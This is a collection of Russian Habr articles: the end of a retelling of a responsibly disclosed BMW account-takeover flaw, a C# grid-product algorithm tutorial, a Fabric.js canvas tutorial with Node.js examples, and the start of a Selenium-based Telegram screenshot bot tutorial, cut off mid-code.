Это сработало! Белые хакеры сбросили учётную запись пользователя, получив полный контроль над учётной записью любого сотрудника BMW и пользователя подрядчика.
На этом этапе можно было полностью завладеть любой учетной записью сотрудника BMW или Rolls Royce и получить доступ к инструментам, используемым этими сотрудниками.
Чтобы продемонстрировать влияние уязвимости, исследователи набрали в Google «Дилерский портал BMW» и использовали учётную запись для доступа к дилерскому порталу, которым пользуются продавцы, работающие в физических дилерских центрах BMW и Rolls Royce.
После входа в систему исследователи заметили, что выбранный демо-аккаунт был привязан к реальному дилерскому центру, и они могли получить доступ ко всем функциям, к которым имели доступ сами дилеры. Это включало возможность запрашивать конкретный номер VIN и получать документы о продаже автомобиля.
С имеющимся уровнем доступа было огромное количество функций, которые можно было бы реализовать в отношении учётных записей клиентов BMW и Rolls Royce и автомобилей клиентов. На этом исследователи прекратили тестирование и сообщили об уязвимости.
С тех пор уязвимости, о которых исследователи сообщили BMW и Rolls Royce, были устранены. Некоторые из описанных в статье проблем — тоже. Больше деталей — в [блоге Карри](https://samcurry.net/web-hackers-vs-the-auto-industry/).
---
### Что ещё интересного есть в блоге Cloud4Y
→ [Информационная безопасность и глупость: необычные примеры](https://habr.com/ru/company/cloud4y/blog/696078/)
→ [NAS за шапку сухарей](https://habr.com/ru/company/cloud4y/blog/703540/)
→ [Как распечатать цветной механический телевизор на 3D-принтере](https://habr.com/ru/company/cloud4y/blog/668962/)
→ [Создание e-ink дисплея с прогнозом погоды](https://habr.com/ru/company/cloud4y/blog/699638/)
→ [Аналоговый компьютер Telefunken RA 770](https://habr.com/ru/company/cloud4y/blog/701274/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. А ещё напоминаем про второй сезон нашего сериала ITить-колотить. Его можно посмотреть на [YouTube](https://youtu.be/8arneYYzsJw)и [ВКонтакте](https://vk.com/video/playlist/-114833493_1). | https://habr.com/ru/post/710906/ | null | ru | null |
# Найти комбинацию соседних чисел, имеющих самое большое произведение
Перед вами таблица (20x20) с целым числом от 0 до 99 в каждой из клеток.
Задача — найти 4 соседних числа без разрыва цепочки, одно за другим, имеющих самое большое произведение. Цветом выделены различные варианты 4 соседних чисел (соседними считаются два числа, расположенных не более чем на 1 клетку друг от друга).
Сегодня мы с вами реализуем алгоритм поиска на языке C#.
Для начало создадим двумерный массив 20х20 и запишем его в файл:
```
static void CreateArrayFile()
{
Random random = new Random();
string file = "";
for (int i = 0; i < 20; i++)
{
string line = "";
for (int j = 0; j < 20; j++)
{
line += random.Next(0, 99) + ",";
}
line = line + Environment.NewLine;
file += line;
}
using (FileStream fstream = new FileStream($"array.txt", FileMode.OpenOrCreate))
{
byte[] array = System.Text.Encoding.Default.GetBytes(file);
fstream.Write(array, 0, array.Length);
Console.WriteLine("Массив записан в файл");
}
}
```
Теперь мы можем, записать числа из файла в двумерный массив.
```
string[] lines = arrayFile.Split(Environment.NewLine);
for (int i = 0; i < 20; i++)
{
string[] items = lines[i].Split(',');
for (int j = 0; j < 20; j++)
{
table[i, j] = Convert.ToInt32(items[j]);
}
}
```
Для представления координат и значения числа создадим класс Element:
```
public class Element
{
public int Line { get; set; }
public int Column { get; set; }
public int Value { get; set; }
}
```
По условиям задачи, требуется найти комбинацию произведений. Реализуем класс Multiplication для представления комбинации содержащий массив чисел и значение произведения чисел в комбинации.
```
public class Multiplication
{
public Multiplication()
{
Elements = new Element[4];
}
public Element[] Elements { get; set; }
public int Value
{
get
{
Multiply();
return value;
}
}
int value;
void Multiply()
{
if(Elements[0] != null && Elements[1] != null && Elements[2] != null && Elements[3] != null)
{
value = Elements[0].Value * Elements[1].Value * Elements[2].Value * Elements[3].Value;
}
}
}
```
Первое что нужно сделать найти ближайших соседей числа. Например, для числа 40 в нашем случае следующие соседи:
А у числа 48 в правом нижнем углу есть всего 3 соседа. Не трудно понять, что соседи любого числа это:
```
table[i-1][j-1]
table[i-1][j]
table[i-1][j+1]
table[i][j-1]
table[i][j+1]
table[i+1][j-1]
table[i+1][j]
table[i+1][j+1]
```
Убедившись, что индекс не находится вне границ, получаем метод FindNeighbors возвращающий коллекцию всех ближайших соседей конкретного числа.
По условию задачи, нам нужно найти комбинацию из 4 соседних чисел. Для этого нам нужен метод для поиска всех возможных комбинаций из 4 чисел:
```
static List GetFactorCombinations(int line, int column)
{
List combinations = new List();
if (table[line, column] != 0)
{
List firstLevelNeighbors = FindNeighbors(line, column);
foreach (var firstLevelNeighbor in firstLevelNeighbors)
{
Element[] elements = new Element[4];
elements[0] = new Element
{
Line = line,
Column = column,
Value = table[line, column]
};
elements[1] = firstLevelNeighbor;
List secondLevelNeighbors = FindNeighbors(firstLevelNeighbor.Line, firstLevelNeighbor.Column);
foreach (var secondLevelNeighbor in secondLevelNeighbors)
{
if (!elements[0].Equals(secondLevelNeighbor) && !elements[1].Equals(secondLevelNeighbor))
{
elements[2] = secondLevelNeighbor;
}
if (elements[2] != null)
{
List thirdLevelNeighbors = FindNeighbors(secondLevelNeighbor.Line, secondLevelNeighbor.Column);
foreach (var thirdLevelNeighbor in thirdLevelNeighbors)
{
if (!elements[0].Equals(thirdLevelNeighbor) && !elements[1].Equals(thirdLevelNeighbor) && !elements[2].Equals(thirdLevelNeighbor))
{
elements[3] = thirdLevelNeighbor;
Multiplication multiplication = new Multiplication
{
Elements = elements
};
if (combinations.Where(p=>p.Elements[0].Value==elements[0].Value&& p.Elements[1].Value == elements[1].Value && p.Elements[2].Value == elements[2].Value && p.Elements[3].Value == elements[3].Value).FirstOrDefault()==null)
{
var nnnn =new Multiplication
{
Elements = new Element[] { elements[0], elements[1], elements[2], elements[3]}
};
combinations.Add(nnnn);
}
}
}
}
}
}
}
return combinations;
}
```
Метод получает координаты числа в таблице и проверяет значение этого числа на 0 (При умножении любого числа на 0 всегда получается 0). Потом метод ищет всех соседей данного числа. Перебираем соседей первого уровня, в случае если число не 0 ищем всех соседей второго уровня…
Переопределяем метод Equals для сравнивания чисел:
```
public override bool Equals(Object obj)
{
if (this==null || (obj == null) || !this.GetType().Equals(obj.GetType()))
{
return false;
}
else if(Line == ((Element)obj).Line && Column == ((Element)obj).Column)
{
return true;
}
else
{
return false;
}
}
```
Продолжаем поиск до соседей четвертого уровня если числа не дублируются, то добавляем его в нашу коллекцию.
```
if (!elements[0].Equals(thirdLevelNeighbor) && !elements[1].Equals(thirdLevelNeighbor) && !elements[2].Equals(thirdLevelNeighbor))
{
elements[3] = thirdLevelNeighbor;
Multiplication multiplication = new Multiplication
{
Elements = elements
};
if (combinations.Where(p=>p.Elements[0].Value==elements[0].Value&& p.Elements[1].Value == elements[1].Value && p.Elements[2].Value == elements[2].Value && p.Elements[3].Value == elements[3].Value).FirstOrDefault()==null)
{
var combination=new Multiplication
{
Elements = new Element[] { elements[0], elements[1], elements[2], elements[3]}
};
combinations.Add(combination);
}
}
```
Работу метода GetFactorCombinations можно визуализировать так:
Теперь перебрав наш двумерный массив ищем самую большую комбинацию чисел.
```
for (int i = 0; i < 20; i++)
{
for (int j = 0; j < 20; j++)
{
List combinations = GetFactorCombinations(i, j);
foreach (var combination in combinations)
{
if (combination.Value > maxMultiplication.Value)
{
Console.WriteLine("Найдена новая самая большая комбинация " + combination.Elements[0].Value + " \* " + combination.Elements[1].Value + " \* " + combination.Elements[2].Value + " \* " + combination.Elements[3].Value + " = " + combination.Value);
maxMultiplication = combination;
}
}
}
}
Console.WriteLine("Самое большое произведение четырех чисел = " + maxMultiplication.Elements[0].Value + " \* " + maxMultiplication.Elements[1].Value + " \* " + maxMultiplication.Elements[2].Value + " \* " + maxMultiplication.Elements[3].Value + " = " + maxMultiplication.Value);
```
Если следующая комбинация больше чем maxMultiplication, переписываем его.
Да, мы сделали это. Мы нашли комбинацию из 4 чисел с самым большим произведением.
Фактически, мы решили задачу, но код захардкожен под конкретные условия, чисто процедурный метод. А если нам нужно будет искать из матрицы не 20 на 20, а к примеру 30 на 30 и комбинацию не из 4, а 5 чисел? каждый раз добавлять еще один вложенный цикл (для перебора всех со всеми) …
Зарезервируем 2 константы для размера таблицы, и для размера искомой комбинации:
```
const int TABLE_SIZE = 20;
public const int COMBINATION_SIZE = 4;
```
Перепишем метод GetFactorCombinations на рекурсивный метод:
```
static List GetMultiplicationForStep(int line, int column, List otherElements = null)
{
List resultMultiplications = new List();
List resultElements = new List();
Element element = new Element
{
Column = column,
Line = line,
Value = table[line, column]
};
if (otherElements == null)
{
otherElements = new List();
}
if(otherElements!=null)
{
resultElements.AddRange(otherElements);
}
if (table[line, column] != 0)
{
if (otherElements.Where(p => p.Equals(element)).FirstOrDefault() == null)
{
resultElements.Add(element);
}
}
if (resultElements.Count() == COMBINATION\_SIZE)
{
Multiplication multiplication = new Multiplication
{
Elements = resultElements.ToArray()
};
resultMultiplications.Add(multiplication);
}
else
{
List elementNeighbors = FindNeighbors(line, column);
elementNeighbors = elementNeighbors.Where(p => !p.Equals(element)&& otherElements.Where(p=>p.Equals(element)).FirstOrDefault()==null).ToList();
List newMultiplications = new List();
foreach(Element neighbor in elementNeighbors)
{
// Если количество комбинаций меньше COMBINATION\_SIZE рекурсивно продолжаю искать соседей...
newMultiplications.AddRange(GetMultiplicationForStep(neighbor.Line, neighbor.Column, resultElements).Where(p=>p!=null));
}
foreach(Multiplication multiplication in newMultiplications)
{
if(resultMultiplications.Where(p=>p.Value==multiplication.Value).FirstOrDefault()==null)
{
resultMultiplications.Add(multiplication);
}
}
}
return resultMultiplications;
}
```
Метод работает по тому же принципу как и раньше только вместо вложенных циклов, рекурсивно продолжаем поиск соседей пока количество найденных элементов resultElements.Count() != COMBINATION\_SIZE
После нахождения комбинации можно его красиво отобразить в консоли:
```
for (int i = 0; i < TABLE_SIZE; i++)
{
for (int j = 0; j < TABLE_SIZE; j++)
{
if (maxMultiplication.Elements.Where(p => p.Line == i && p.Column == j).FirstOrDefault() != null)
{
Console.BackgroundColor = ConsoleColor.White;
Console.ForegroundColor = ConsoleColor.Black; // Тут я вывожу таблицу заново, и отображаю самую большую найденную комбинацию
Console.Write(table[i, j] + " ");
Console.ResetColor();
}
else
{
Console.Write(table[i, j] + " ");
}
}
Console.WriteLine();
}
```
### Заключение
В этой статье мы познакомились с одним из вариантов нахождения соседних комбинаций в таблице NxN.
Что можно сделать еще:
* Можно рассмотреть возможность избавиться от множественных повторных переборов всех комбинаций со всеми, и другими способами оптимизировать код.
* На основе существующего алгоритма реализовать поиск комбинаций соседних чисел на 3-мерном массиве. Но это уже в другой раз…
 | https://habr.com/ru/post/514476/ | null | ru | null |
# Знакомимся с Fabric.js. Часть 4-я
*Это перевод четвертой части серии статей об открытой Javascript canvas библиотеке Fabric.js.*
Мы уже многое знаем из предыдущих частей серии: ([Ч1](http://habrahabr.ru/post/162367/), [Ч2](http://habrahabr.ru/post/167119/), [Ч3](http://habrahabr.ru/post/254763/)) от простых манипуляций с объектами, до анимаций, событий, групп и подклассов. Но есть еще несколько интересных и полезных вещей, которые стоить осветить.
Свободное рисование
-------------------
В чем ``действительно преуспел, так это в отличной поддержке свободного рисования. Canvas - это простой 2D битмап, который олицетворяет собой обычную бумагу. Поэтому свободно рисовать здесь - очень просто и естественно. Разумеется, в Fabric эта способность учтена.
Режим свободного рисования можно включить, просто задав значение true` свойству `isDrawingMode` на Fabric canvas. С этого момента все клики и движения мыши на canvas будут восприниматься как действия кисти/карандаша.
Вы можете рисовать на canvas сколько пожелаете, пока в свойстве `isDrawingMode` значение `true`. Как только вы сделаете любое движение мыши, последующее за событием "mouseup", Fabric инициирует событие "path:created", что трансформирует только что нарисованную форму в настоящий `fabric.Path` объект.
Если же вы в любой момент времени, вернете свойству `isDrawingMode` значение `false`, то все созданные объекты останутся на canvas. Так как это будут объекты `fabric.Path` их можно модифицировать по своему усмотрению: двигать, крутить, масштабировать и т.д.
Есть два свойства, которые можно настраивать в режиме свободного рисования: `freeDrawingBrush.color` и `freeDrawingBrush.width`. Оба этих свойства доступны на объекте `freeDrawingBrush`, хранящемся на Fabric canvas. `freeDrawingBrush.color` представляет цвет кисти и может являться любым цветовым значением. `freeDrawingBrush.width` содержит в себе число пикселей, которое представляет толщину кисти.
В ближайшем будущем мы планируем добавить возможность редактирования паттерна для кистей, и добавления собственных паттернов. Наподобие того, как это реализовано с фильтрами у Fabric image.
Кастомизация
------------
Говоря о Fabric, нельзя не отметить ее потрясающие возможности по кастомизации. Вы можете настроить огромное количество опций на canvas, или на объектах canvas, чтобы все работало именно так, как вы захотите. Давайте же приступим к рассмотрению этих опций.
#### Блокировка объектов
Каждый объект на canvas можно заблокировать различными способами. "lockMovementX", "lockMovementY", "lockRotation", "lockScalingX" и "lockScalingY" – свойства которые блокируют соответствующее действие объекта. Если задать свойству `object.lockMovementX` значение `true`, то это запретит двигать объект горизонтально. Возможность же вертикального движения при этом не изменится. Таким же образом `lockRotation` блокирует вращение, а `lockScalingX/lockScalingY` — масштабирование. Все эти свойства независимы друг от друга, их можно использовать вместе или комбинировать по своему усмотрению.
#### Изменение рамок, уголков
Вы можете изменить видимость рамок и уголков на объекте, используя свойства "hasControls" и "hasBorders". Если поставить им значение `false`, то объект отрисуется "голым".
```
object.hasBorders = false;
```
```
object.hasControls = false;
```
Также вы можете настроить внешнее представление управляющих элементов, изменяя свойства "borderColor", "cornerColor", и "cornerSize".
```
object.set({
borderColor: 'red',
cornerColor: 'green',
cornerSize: 6
});
```
#### Отмена выделения
Вы можете отменить выделение объектов, задав свойству "selection" на canvas значение `false`. Это предотвратит выделение на всему, что представлено на canvas. Если же вам нужно отменить выделение на конкретном объекте, то следует задать в его свойство "selectable" значение `false`. Тем самым объект потеряет свою интерактивность.
#### Кастомизация выделения
А если вам нужно не отменить выделение, а изменить его внешнее представление? Никаких проблем.
Есть 4 свойства на canvas, которые за это отвечают - "selectionColor", "selectionBorderColor", "selectionLineWidth", и "selectionDashArray". Их предназначение, в целом, должно быть понятно по названию. Обратим внимание на пример:
```
canvas.add(new fabric.Circle({ radius: 30, fill: '#f55', top: 100, left: 100 }));
canvas.selectionColor = 'rgba(0,255,0,0.3)';
canvas.selectionBorderColor = 'red';
canvas.selectionLineWidth = 5;
```
Последнее свойство - "selectionDashArray" – не такое простое. Оно позволяет нам сделать линии выделения пунктирными. Мы определяем пунктирный паттерн, используя интервалы в массиве. Чтобы создать паттерн, в котором длинная черта сменяет короткую, мы будем использовать что-то вроде этого `[10, 5]` в качестве массива "selectionDashArray". При таком массиве нарисуется линия длиной в 10px, затем будет отступ в 5px, снова линия, и так далее. Если мы используем массив `[2, 4, 6]`, то паттерн создастся следующим образом: сначала нарисуется черта размером в 2px, затем отступ в 4px, после этого снова черта, но уже размером в 6px и так далее. В качестве примера посмотрите, как выглядит паттерн с массивом `[5, 10]`:
#### Пунктирная обводка
Схоже с "selectionDashArray" свойством на canvas, все Fabric объекты имеют свойство "strokeDashArray", отвечающее за пунктирный паттерн на обводке объекта.
```
var rect = new fabric.Rect({
fill: '#06538e',
width: 125,
height: 125,
stroke: 'red',
strokeDashArray: [5, 5]
});
canvas.add(rect);
```
#### Кликабельная зона
Как вы уже знаете, все Fabric объекты имеют ограничительный контейнер, который используется для перемещения, масштабирования и вращения объекта, в том случае если рамки/уголки присутствуют. Вы могли заметить, что можно переместить объект, нажимая на внутреннее пространство ограничительного контейнера, даже если оно пустое. Посмотрим на изображение ниже:
При стандартных настройках все Fabric объекты на canvas можно перемещать при помощи ограничительного контейнера. Однако, если вы хотите иного поведения, а именно: работать непосредственно с объектом, то нужно в свойство "perPixelTargetFind" на объекте записать значение `true`.
#### Вращающий элемент
**Начиная с версии 1.0** Fabric использует альтернативное UI. Теперь, при изначальных настройках, объекты нельзя одновременно крутить и масштабировать. Вместо этого появились отдельные вращающие контроллеры на каждом из объектов. Свойство, отвечающее за этот вращающий элемент - "hasRotatingPoint". Вы можете численно задать размер этого элемента через свойство "rotatingPointOffset".
#### Трансформация объекта
Также, **начиная с версии 1.0**, существует ряд других свойств, отвечающих за трансформацию объекта. Одно из них - "uniScaleTransform" на canvas. При начальных настройках, в этом свойстве значение `false`. Оно инициирует неравномерное масштабирование объекта. Иными словами, свойство позволяет изменять пропорции, перетаскивая за уголки.
Помимо этого есть свойства "centeredScaling" и "centeredRotation" (До версии 1.3.4 было одно свойство - "centerTransform"). Они определяют, должна ли трансформация осуществляться относительно центра объекта. Когда оба они `true`, возвращается поведение, которое было до версии 1.0, когда объекты всегда масштабировались/вращались относительно своего центра. Начиная с версии 1.0. такое поведение стало настраиваемым.
Последняя пара новых свойств это "originX" и "originY". Изначально в них содержаться стандартные значения соответственно "left" и "top". Они позволяют программно изменить относительность трансформации объекта. При перетаскивании объекта за уголки, именно эти свойства изменяются динамически, "под капотом".
Когда же нам может понадобиться изменить эти свойства вручную? Например, работая с текст-объектами. Когда вы динамически изменяете текст, и его контейнер увеличивается, "originX" и "originY" указывает куда расти этому контейнеру. Если вам нужно отцентрировать текст-объект, то следует поставить свойству originX значение "center". Чтобы прибить текст к правому краю – ставим originX значение "right" и т.д. Такое поведение похоже на "position: absolute" в CSS.
#### Задний фон и перекрытие на canvas
Как вы, вероятно, помните из [1-й части серии](http://habrahabr.ru/post/162367/), существует возможность определить цвет для заполнения всего заднего фона canvas. Для этого необходимо просто задать любое цветовое значение в его свойство "backgroundColor".
```
canvas.add(new fabric.Circle({ radius: 30, fill: '#f55', top: 100, left: 100 }));
canvas.backgroundColor = 'rgba(0,0,255,0.3)';
canvas.renderAll();
```
Можно пойти еще дальше, и сделать задним фоном изображение. Для этого нужно использовать метод `setBackgroundImage`, добавив url и коллбэк на завершение загрузки изображения.
```
canvas.add(new fabric.Circle({ radius: 30, fill: '#f55', top: 100, left: 100 }));
canvas.setBackgroundImage('../assets/pug.jpg', canvas.renderAll.bind(canvas));
```
Наконец, вы также можете использовать изображение в качестве перекрытия. В этом случае оно появится поверх всех объектов canvas. Просто используйте `setOverlayImage`, с теми же опциями: url, и коллбэком на завершение загрузки изображения.
```
canvas.add(new fabric.Circle({ radius: 30, fill: '#f55', top: 100, left: 100 }));
canvas.setOverlayImage('../assets/jail_cell_bars.png', canvas.renderAll.bind(canvas));
```
Fabric на Node.js
-----------------
Один из уникальных аспектов Fabric – это то, что с ним можно работать не только на клиенте в браузере, но и на сервере! Это может быть полезно, когда вы хотите послать данные от клиента и создать изображение из этих данных прямо на сервере. Или вы просто хотите использовать Fabric API из консоли по причине скорости, производительности или же по любой другой причине.
Давайте разберемся, как нам настроить сервер Node, чтобы начать использовать на нем Fabric.
Для начала, вам нужно установить [Node.js](http://nodejs.org/), если он у вас еще не установлен. Есть несколько способов это сделать, они зависят от платформы, которую вы используете. Вы можете следовать [этим](http://howtonode.org/how-to-install-nodejs) или [этим инструкциям](https://github.com/joyent/node/wiki/Installation).
Как только установите Node.js, вам необходимо установить библиотеку [node-canvas](https://github.com/LearnBoost/node-canvas). Эта библиотека – реализация canvas для NodeJS. Она основывается на [Cairo](http://cairographics.org/) — 2D графической библиотеке, работающей на Mac, Linux, или Windows. node-canvas имеет различные [инструкции по установке](https://github.com/LearnBoost/node-canvas/wiki), которые зависят от типа платформы.
Fabric представлен на Node в качестве пакетного менеджера (NPM). Поэтому следующий шаг – установить NPM. Вы можете найти инструкции в [репозитории github](https://github.com/isaacs/npm).
Последний шаг – это установка [Fabric package](https://npmjs.org/package/fabric), используя NPM. Это можно сделать, запустив `npm install fabric` (или `npm install -g fabric` для глобальной установки). К этому моменту, запустив консоль, у нас должны работать и node-canvas и Fabric:
```
> node
...
> typeof require('canvas'); // "function"
> typeof require('fabric'); // "object"
```
Теперь все готово, можем попытаться сделать небольшой "hello world" тест. Создадим helloworld.js файл.
```
var fs = require('fs'),
fabric = require('fabric').fabric,
out = fs.createWriteStream(__dirname + '/helloworld.png');
var canvas = fabric.createCanvasForNode(200, 200);
var text = new fabric.Text('Hello world', {
left: 100,
top: 100,
fill: '#f55',
angle: 15
});
canvas.add(text);
var stream = canvas.createPNGStream();
stream.on('data', function(chunk) {
out.write(chunk);
});
```
Теперь запустим это в качестве `node helloworld.js`. Открывающееся изображение helloworld.png выдаст следующее:
Что здесь происходит? Давайте детально разберем этот код.
Сначала мы подключили Fabric (`fabric = require('fabric').fabric`) . Затем мы создали старый-добрый Fabric canvas, использовав `fabric.createCanvasForNode`, вместо обычного `new fabric.Canvas()`. Этот метод принимает ширину и высоту в качестве параметров, и создает canvas с этими размерами (в данном случае 200х200).
Далее уже знакомым способом создаем текстовый объект (`new fabric.Text()`) и добавляем на canvas (`canvas.add(text)`).
Все это создаст Fabric canvas, и нарисует на нем текст-объект. Теперь, как нам создать изображение из всего содержимого canvas? Нам нужно использовать метод `createPNGStream` на объекте canvas. Этот метод вернет нам типичный для Node [stream объект](http://nodejs.org/api/stream.html), который можно использовать как текстовое представление для файла изображения. Для этого нужно использовать `on('data')`, и (`fs.createWriteStream()`), что на выходе даст нам файл изображения.
`fabric.createCanvasForNode` и `fabric.Canvas#createPNGStream` – единственные два метода использующиеся только на Node. Все остальные работают по-прежнему: вы можете как обычно создавать объекты, модифицировать их, отрисовывать и т.д. Стоит отметить, что когда вы создаете canvas при помощи метода `createCanvasForNode`, canvas расширяется свойством `nodeCanvas`, которое является ссылкой на оригинальный node-canvas объект.
#### Node сервер и Fabric
В качестве примера, создадим простой Node сервер, который будет принимать входящие запросы в качестве данных Fabric в JSON формате, и отсылать изображение из этих данных. Весь код займет всего 25 строк!
```
var fabric = require('fabric').fabric,
http = require('http'),
url = require('url'),
PORT = 8124;
var server = http.createServer(function (request, response) {
var params = url.parse(request.url, true);
var canvas = fabric.createCanvasForNode(200, 200);
response.writeHead(200, { 'Content-Type': 'image/png' });
canvas.loadFromJSON(params.query.data, function() {
canvas.renderAll();
var stream = canvas.createPNGStream();
stream.on('data', function(chunk) {
response.write(chunk);
});
stream.on('end', function() {
response.end();
});
});
});
server.listen(PORT);
```
Большая часть кода из этого отрывка должна быть уже знакомой. Основная суть содержится в ответе сервера. Мы создаем Fabric canvas, загружаем на него JSON данные, отрисовываем и транслируем конечный результат в качестве ответа сервера.
Чтобы это протестировать, возьмем данные зеленого прямоугольника с небольшим углом поворота.
```
{"objects":[{"type":"rect","left":103.85,"top":98.85,"width":50,"height":50,"fill":"#9ae759","overlayFill":null,"stroke":null,"strokeWidth":1,"strokeDashArray":null,"scaleX":1.39,"scaleY":1.39,"angle":30,"flipX":false,"flipY":false,"opacity":0.8,"selectable":true,"hasControls":true,"hasBorders":true,"hasRotatingPoint":false,"transparentCorners":true,"perPixelTargetFind":false,"rx":0,"ry":0}],"background":"rgba(0, 0, 0, 0)"}
```
URI закодирует это:
```
%7B"objects"%3A%5B%7B"type"%3A"rect"%2C"left"%3A103.85%2C"top"%3A98.85%2C"width"%3A50%2C"height"%3A50%2C"fill"%3A"%239ae759"%2C"overlayFill"%3Anull%2C"stroke"%3Anull%2C"strokeWidth"%3A1%2C"strokeDashArray"%3Anull%2C"scaleX"%3A1.39%2C"scaleY"%3A1.39%2C"angle"%3A30%2C"flipX"%3Afalse%2C"flipY"%3Afalse%2C"opacity"%3A0.8%2C"selectable"%3Atrue%2C"hasControls"%3Atrue%2C"hasBorders"%3Atrue%2C"hasRotatingPoint"%3Afalse%2C"transparentCorners"%3Atrue%2C"perPixelTargetFind"%3Afalse%2C"rx"%3A0%2C"ry"%3A0%7D%5D%2C"background"%3A"rgba(0%2C%200%2C%200%2C%200)"%7D
```
Отправим на сервер в качестве параметра "data". Немедленный ответ с типом контента "image/png" выглядит вот так:
Как вы видите, работать с Fabric на сервере довольно просто. Попробуйте поэкспериментировать с этим примером. Может быть, поменять размеры canvas, установив другие значения в параметры, или же изменить данные перед возвращением изображения в качестве ответа.
#### Шрифты в Fabric на Node
Перед тем как использовать шрифты на Fabric, нужно их сперва загрузить. Самый распространенный способ загрузить шрифты в браузере (клиентская сторона) – это использовать [CSS3 @font-face rule](http://www.w3.org/TR/css3-fonts/#font-face-rule). В Fabric на Node (серверная сторона) мы можем использовать node-canvas **Font API**, с помощью чего можно загрузить шрифты с невероятной легкостью.
Пример ниже демонстрирует, как загрузить и использовать шрифты. Сохраните его в файл customfont.js , убедившись, что пути до файлов шрифтов корректны. В данном примере в качестве шрифта используется [Ubuntu](https://www.google.com/fonts/specimen/Ubuntu).
```
var fs = require('fs'),
fabric = require('fabric').fabric,
canvas = fabric.createCanvasForNode(300, 250);
var font = new canvas.Font('Ubuntu', __dirname + '/fonts/Ubuntu-Regular.ttf');
font.addFace(__dirname + '/fonts/Ubuntu-Bold.ttf', 'bold');
font.addFace(__dirname + '/fonts/Ubuntu-Italic.ttf', 'normal', 'italic');
font.addFace(__dirname + '/fonts/Ubuntu-BoldItalic.ttf', 'bold', 'italic');
canvas.contextContainer.addFont(font); // для createPNGStream или createJPEGStream
//canvas.contextTop.addFont(font); // для toDataURL или toDataURLWithMultiplier
var text = new fabric.Text('regular', {
left: 150,
top: 50,
fontFamily: 'Ubuntu'
});
canvas.add(text);
text = new fabric.Text('bold', {
left: 150,
top: 100,
fontFamily: 'Ubuntu',
fontWeight: 'bold'
});
canvas.add(text);
text = new fabric.Text('italic', {
left: 150,
top: 150,
fontFamily: 'Ubuntu',
fontStyle: 'italic'
});
canvas.add(text);
text = new fabric.Text('bold italic', {
left: 150,
top: 200,
fontFamily: 'Ubuntu',
fontWeight: 'bold',
fontStyle: 'italic'
});
canvas.add(text);
var out = fs.createWriteStream(__dirname + '/customfont.png');
var stream = canvas.createPNGStream();
stream.on('data', function(chunk) {
out.write(chunk);
});
```
Запустив пример, используя `node customfont.js`, создастся изображение (customfont.png) которое выглядит так:
Давайте детально рассмотрим что здесь происходит. Во-первых мы создали объект шрифта, используя `new canvas.Font()`, указав имя (`name`) и путь (`path`) к файлу со шрифтом в качестве параметров. Затем добавляем дополнительные font-faces, используя метод `font.addFace()` . В качестве параметров используем путь (`path`), насыщенность (`weight`) и стиль (`style`). Наконец, шрифт полностью готов к добавлению. Мы его добавляем, используя `canvas.contextContainer.addFont()` (для **createPNGStream** или **createJPEGStream**) , или `canvas.contextTop.addFont()` (для **toDataURL** или **toDataURLWithMultiplier**).
Теперь мы можем использовать наш шрифт, задав свойству **fontFamily** на `fabric.Text` объекте название шрифта. В комбинации со свойствами **fontWeight** и **fontStyle** мы можем применять font faces, которые ранее добавили. Подробнее об этих свойствах во [2-й части серии](http://habrahabr.ru/post/167119/).
Обратите внимание, что пример иллюстрирует, как использовать шрифты, создавая новые текст-объекты, но также можно использовать текст-объекты, загруженные из JSON.
На этом заканчивается серия их четырех частей описывающих Fabric. Я надеюсь, вы получили достаточно знаний, чтобы создать что-то интересное, крутое, полезное, захватывающее, вызывающее!
[*оригинал статьи*.](http://fabricjs.com/fabric-intro-part-4/)` | https://habr.com/ru/post/257401/ | null | ru | null |
# Пиратская копия платного сервиса в 39 строчек Python кода
Во время выполнения заказа по разработке telegram бота у меня возникла необходимость получения скриншота веб-страницы с его доставкой пользователю. Зачем задумываться над решением проблемы, когда его можно найти? Как оказалось, чтобы не платить! Подробнее пот катом.
Так вот, судьба натолкнула меня на сервис [url2png](https://www.url2png.com/). Вроде бы всё круто: регистрируешься, получаешь API токен и делаешь себе запросы. Но как бы не так.
Нет, ну серьёзно, VDS под **несколько** телеграм ботов дешевле стоит! И тут мне стало ясно, что придётся выкручиваться всеми доступными способами. Долго ломать голову не пришлось, благо нашлась такая вещь как [Selenium](https://pypi.org/project/selenium/). Selenium требует для работы установки специального драйвера в соответствии с используемым браузером. Предупреждаю, что PhantomJS больше не поддерживается Selenium'ом, поэтому для работы в headless режиме(при запуске webdriver окно браузера не открывается) будет использоваться google chrome. Как настроить для этого VDS? Перво-наперво надо установить сам браузер. В консоли нужно ввести следующие команды.
```
sudo apt update
sudo apt install -y chromium-browser
```
После, [по этой ссылке](https://sites.google.com/a/chromium.org/chromedriver/downloads) необходимо узнать последнюю версию chromedriver(2.41 на данный момент). Установить его нужно следующими командами.
```
wget https://chromedriver.storage.googleapis.com/2.41/chromedriver_linux64.zip
unzip chromedriver_linux64.zip
sudo mv chromedriver /usr/bin/chromedriver
sudo chown root:root /usr/bin/chromedriver
sudo chmod +x /usr/bin/chromedriver
```
Также хочется отметить, что для отладки телеграм бота на своей машине придётся установить VPN, если вы находитесь в России. Теперь можно приступать к разработке бота. Понадобятся библиотеки:
```
pytelegrambotapi
selenium
validators
```
Установить их можно спокойно с помощью pip. Начало скрипта выглядит так.
```
# -*- coding: utf-8 -*-
import telebot
import os
import validators
from selenium import webdriver
```
Сначала я создал бота и настроил браузер для работы в headless режиме.
```
#создаём бота
token = 'token of this bot'
bot = telebot.TeleBot(token, threaded = False)
#настраиваем браузер для корректной работы в headless режиме
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--disable-gpu')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--no-sandbox')
```
Потом релизовал приветствие и помощь пользователю.
```
#имплементация обязательных команд /start и /help
@bot.message_handler(commands=['start'])
def hello_user(message):
bot.send_message(message.chat.id, 'Hello, ' + message.from_user.username + "!")
@bot.message_handler(commands=['help'])
def show_help(message):
bot.send_message(message.chat.id, 'To get screenshot of webpage use command /getpng.\nExample: /getpng https://www.google.com')
```
Осталось самое главное — получение скриншота. С помощью библиотеки validators осуществляется валидация(извините за тавтологию) введённой пользователем ссылки. Также с помощью модуля os скриншот удаляется с сервера после отправки, дабы не занимать место.
```
#получение скрина сайта с помощью selenium и headless chrome
@bot.message_handler(commands=['getpng'])
def get_screenshot(message):
uid = message.chat.id
url = ""
try:
url = message.text.split(' ')[1]
except IndexError:
bot.send_message(uid, 'You have not entered URL!')
return
if not validators.url(url):
bot.send_message(uid, 'URL is invalid!')
else:
photo_path = str(uid) + '.png'
